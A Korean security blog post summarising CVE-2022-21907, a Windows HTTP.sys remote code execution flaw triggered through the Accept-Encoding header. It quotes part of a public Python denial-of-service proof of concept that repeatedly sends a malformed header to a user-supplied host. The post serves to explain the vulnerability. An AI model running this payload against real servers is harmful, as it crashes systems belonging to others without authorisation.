[하루한줄] CVE-2022-21907: Windows HTTP 프로토콜 원격 코드 실행 취약점

URL

https://github.com/antx-code/CVE-2022-21907

Target

  • Windows 10 Version 1809, 20H2, 21H1
  • Windows 11
  • Windows Server

Explain

2022년 1월 Patch Tuesday에서 Windows의 http 메시지 파싱과 response 생성을 처리하는 HTTP.sys 드라이버에서 시스템 권한으로 원격 코드 실행이 가능한 취약점이 패치되었습니다.

패치 릴리즈 이후 PoC가 공개되었는데, 해당 취약점은 작년에 발견된 [하루한줄] CVE-2021-31166: HTTP.sys 원격 코드 실행 취약점 과 비슷한 유형의 root cause로 악용이 가능한 것으로 확인되었습니다. CVE-2021-31166과 동일하게 HTTP request header 중 Accept-Encoding 필드를 파싱하는 과정에서 원격 코드 실행으로 이어질 수 있습니다.

공개된 Denial of Service PoC의 일부는 아래와 같습니다.

host = input("Target: ")

headers = {
    "Accept-Encoding": 'AAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&AA&**AAAAAAAAAAAAAAAAAAAA**A,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,AAAAAAAAAAAAAAAAAAAAAAAAAAA,****************************AAAAAA, *, ,'
}

try:
    response  = urlopen(f"http://{host}")
except (URLError, HTTPError) as e:
    pass
except Exception as e:
    print(f"http://{host} is not DOWN.")
    print(f"{e.__class__}: {e}", file = stderr)
    exit(1)

print(f"http://{host} is not UP. Start hacking...")

while True:
    try:
        response  = urlopen(Request(f"http://{host}", headers=headers))
    except TimeoutError as e:
    	print(f"http://{host} is not DOWN. {host} is vulnerable to CVE-2022-21907.")
    	exit(0)
    except (URLError, HTTPError) as e:
    	pass
    except Exception as e:
        print(f"{e.__class__}: {e}")

    print(f"Payload sent successfully. Try new request...")

출처 : https://github.com/mauricelambert/CVE-2022-21907/blob/main/CVE202221907.py

해당 취약점은 인증 과정 없이 악성 http 패킷을 서버에 보내기만 하는 것으로 악용할 수 있어 cvss 9.8의 높은 점수를 받았습니다.



본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.